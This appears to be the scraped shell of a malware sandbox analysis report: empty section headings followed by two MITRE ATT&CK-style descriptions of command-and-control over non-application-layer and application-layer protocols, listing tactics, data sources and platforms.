General

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

HTTP Request Dependency Graph

HTTP Packets

Code Manipulations

Statistics

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre